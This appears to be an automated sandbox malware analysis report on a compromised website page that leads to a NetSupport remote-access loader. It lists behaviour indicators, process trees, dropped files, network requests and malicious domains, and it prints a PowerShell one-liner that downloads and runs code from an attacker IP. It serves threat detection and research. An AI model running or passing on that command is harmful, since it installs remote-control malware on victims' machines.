URL:

https://techconglobal.com/become-a-member/

Full analysis: https://app.any.run/tasks/7aa3b8eb-3c99-4a0e-a84c-b236814890f7
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: December 31, 2025, 17:57:32
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
loader
netsupport
rmm-tool
Indicators:
MD5:

7BD99D93B2F847913CE05E4A80C455EA

SHA1:

1F5BE42A802B8FA40D0B3DB615987784CC21389D

SHA256:

5D9F044CF8C4B42F12FB399A0EF885E1065331A1B4AD8ADD8E44B100C3C22556

SSDEEP:

3:N8INXJKkbIcjK/KISK:2INXLsvGK

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loader pattern has been found

      • powershell.exe (PID: 5176)

    • Create files in the Startup directory

      • powershell.exe (PID: 5176)

    • Proxy execution via Explorer

      • powershell.exe (PID: 5176)

    • NETSUPPORT mutex has been found

      • System32.exe (PID: 6916)

  • SUSPICIOUS

    • Found IP address in command line

      • powershell.exe (PID: 5176)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 5176)

    • Drop NetSupport executable file

      • powershell.exe (PID: 5176)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 5176)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 5176)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 5176)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 5176)

    • Creates a directory (POWERSHELL)

      • powershell.exe (PID: 5176)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 5176)

    • Potential Corporate Privacy Violation

      • System32.exe (PID: 6916)

    • Reads security settings of Internet Explorer

      • System32.exe (PID: 6916)

    • There is functionality for taking screenshot (YARA)

      • System32.exe (PID: 6916)

    • There is functionality for communication over UDP network (YARA)

      • System32.exe (PID: 6916)

    • Likely accesses (executes) a file from the Public directory

      • explorer.exe (PID: 4336)
      • System32.exe (PID: 6916)

    • Explorer used for Indirect Command Execution

      • explorer.exe (PID: 4336)

    • Get information on the list of running processes

      • cmd.exe (PID: 5676)

  • INFO

    • Application launched itself

      • chrome.exe (PID: 7604)

    • Disables trace logs

      • powershell.exe (PID: 5176)

    • Reads the computer name

      • TextInputHost.exe (PID: 4220)
      • System32.exe (PID: 6916)

    • Manual execution by a user

      • powershell.exe (PID: 5176)
      • cmd.exe (PID: 5676)

    • Checks proxy server information

      • powershell.exe (PID: 5176)
      • System32.exe (PID: 6916)
      • slui.exe (PID: 2760)

    • Checks supported languages

      • TextInputHost.exe (PID: 4220)
      • System32.exe (PID: 6916)

    • Launching a file from the Startup directory

      • powershell.exe (PID: 5176)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 5176)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 5176)

    • Gets a random number, or selects objects randomly from a collection (POWERSHELL)

      • powershell.exe (PID: 5176)

    • The sample compiled with english language support

      • powershell.exe (PID: 5176)

    • Creates files or folders in the user directory

      • System32.exe (PID: 6916)

    • Reads security settings of Internet Explorer

      • explorer.exe (PID: 7336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
177
Monitored processes
23
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs textinputhost.exe no specs slui.exe powershell.exe conhost.exe no specs explorer.exe no specs explorer.exe no specs #NETSUPPORT system32.exe cmd.exe no specs conhost.exe no specs tasklist.exe no specs chrome.exe no specs netstat.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1844\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2760C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
3060\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4220"C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mcaC:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Version:
123.26505.0.0
Modules
Images
c:\windows\systemapps\microsoftwindows.client.cbs_cw5n1h2txyewy\textinputhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\systemapps\microsoftwindows.client.cbs_cw5n1h2txyewy\vcruntime140_app.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
4336"C:\WINDOWS\explorer.exe" C:\Users\Public\nkyiV1z9r1\System32.exe C:\Windows\explorer.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
10.0.19041.3758 (WinBuild.160101.0800)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\aepic.dll
c:\windows\system32\msvcrt.dll
5176"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -wi mi -EP B -c iex(irm 144.31.207.173/g.GRE)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
5676"C:\WINDOWS\system32\cmd.exe" C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\wldp.dll
5868"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=3 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4560,i,10997856408759807471,12792087079838036752,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=4528 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Version:
133.0.6943.127
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\133.0.6943.127\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
6440netstatC:\Windows\System32\NETSTAT.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Netstat Command
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\netstat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\snmpapi.dll
6916"C:\Users\Public\nkyiV1z9r1\System32.exe" C:\Users\Public\nkyiV1z9r1\System32.exe
explorer.exe
User:
admin
Company:
System Ltd
Integrity Level:
MEDIUM
Description:
System Application
Version:
V14.10
Modules
Images
c:\users\public\nkyiv1z9r1\system32.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\users\public\nkyiv1z9r1\pcicl32.dll
Total events
15 686
Read events
15 683
Write events
3
Delete events
0

Modification events

(PID) Process:(6916) System32.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6916) System32.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6916) System32.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
9
Suspicious files
16
Text files
51
Unknown types
1

Dropped files

PID
Process
Filename
Type
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old~RFfdece.TMP —
MD5:—
SHA256:—
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old —
MD5:—
SHA256:—
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old~RFfdece.TMP —
MD5:—
SHA256:—
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\LOG.old~RFfdedd.TMP —
MD5:—
SHA256:—
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\LOG.old —
MD5:—
SHA256:—
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old~RFfdedd.TMP —
MD5:—
SHA256:—
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB\LOG.old~RFfdeed.TMP —
MD5:—
SHA256:—
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old —
MD5:—
SHA256:—
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old —
MD5:—
SHA256:—
7604chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB\LOG.old —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
224
TCP/UDP connections
105
DNS requests
139
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
7872
chrome.exe
GET
301
188.114.96.3:443
https://dlkgldkfngmlkdfnmg.com/pfpa
unknown
—
—
malicious
7872
chrome.exe
GET
200
142.251.208.10:443
https://safebrowsingohttpgateway.googleapis.com/v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE
unknown
binary
41 b
whitelisted
7872
chrome.exe
GET
200
142.250.185.206:80
http://clients2.google.com/time/1/current?cup2key=8:kuDzIO3UvnUlUotuPRbYV8Xf8N8wPKcK4XY0Lfp7f8U&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
unknown
—
—
whitelisted
7872
chrome.exe
GET
200
209.182.202.254:443
https://techconglobal.com/wp-content/uploads/2024/06/home-1-light.png
unknown
image
6.00 Kb
unknown
7872
chrome.exe
GET
200
209.182.202.254:443
https://techconglobal.com/wp-content/uploads/2024/07/Logo-min-1-1-1.png
unknown
image
8.53 Kb
unknown
7872
chrome.exe
GET
200
142.250.185.106:443
https://fonts.googleapis.com/css?family=Open+Sans:400,600,700
unknown
text
16.9 Kb
whitelisted
7872
chrome.exe
GET
200
104.21.82.129:443
https://otoqsdfgvbvv.com/orr.js
unknown
text
2.23 Kb
malicious
7872
chrome.exe
GET
200
209.182.202.254:443
https://techconglobal.com/wp-content/uploads/2024/04/Dust_footer-min.png
unknown
image
32.3 Kb
unknown
7872
chrome.exe
GET
200
209.182.202.254:443
https://techconglobal.com/wp-content/cache/wpo-minify/1767144692/assets/wpo-minify-footer-6e56861c.min.js
unknown
text
128 Kb
unknown
7872
chrome.exe
GET
200
209.182.202.254:443
https://techconglobal.com/wp-content/uploads/2024/05/about-us-light.png
unknown
image
6.00 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
Not routed
—
whitelisted
6768
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
1872
RUXIMICS.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
2688
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4
System
192.168.100.255:138
—
Not routed
—
whitelisted
7872
chrome.exe
142.250.185.206:80
clients2.google.com
GOOGLE
US
whitelisted
7872
chrome.exe
142.251.208.10:443
safebrowsingohttpgateway.googleapis.com
GOOGLE
US
whitelisted
7872
chrome.exe
142.251.168.84:443
accounts.google.com
GOOGLE
US
whitelisted
7872
chrome.exe
209.182.202.254:443
techconglobal.com
INMOTION
US
unknown
7872
chrome.exe
142.250.185.106:443
safebrowsingohttpgateway.googleapis.com
GOOGLE
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 4.231.128.59
  • 51.124.78.146
whitelisted
google.com
  • 216.58.206.46
whitelisted
clients2.google.com
  • 142.250.185.206
whitelisted
safebrowsingohttpgateway.googleapis.com
  • 142.251.208.10
  • 142.250.184.234
  • 172.217.18.10
  • 142.250.185.138
  • 216.58.206.42
  • 142.250.186.138
  • 142.250.186.170
  • 142.251.140.170
  • 142.250.185.106
  • 142.250.185.170
  • 142.251.141.74
  • 142.251.141.106
  • 216.58.206.74
  • 142.250.185.74
  • 142.250.184.202
  • 142.250.186.106
whitelisted
techconglobal.com
  • 209.182.202.254
unknown
accounts.google.com
  • 142.251.168.84
whitelisted
dlkgldkfngmlkdfnmg.com
  • 188.114.96.3
  • 188.114.97.3
malicious
fonts.googleapis.com
  • 142.250.185.106
whitelisted
fonts.gstatic.com
  • 142.251.140.163
whitelisted
otoqsdfgvbvv.com
  • 104.21.82.129
  • 172.67.157.236
malicious

Threats

PID
Process
Class
Message
7872
chrome.exe
Not Suspicious Traffic
INFO [ANY.RUN] Google Tag Manager analytics (googletagmanager .com)
7872
chrome.exe
Not Suspicious Traffic
INFO [ANY.RUN] Google Tag Manager analytics (googletagmanager .com)
7872
chrome.exe
Not Suspicious Traffic
INFO [ANY.RUN] Google Tag Manager analytics (googletagmanager .com)
5176
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
6916
System32.exe
Potential Corporate Privacy Violation
ET REMOTE_ACCESS NetSupport GeoLocation Lookup Request
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
https://techconglobal.com/become-a-member/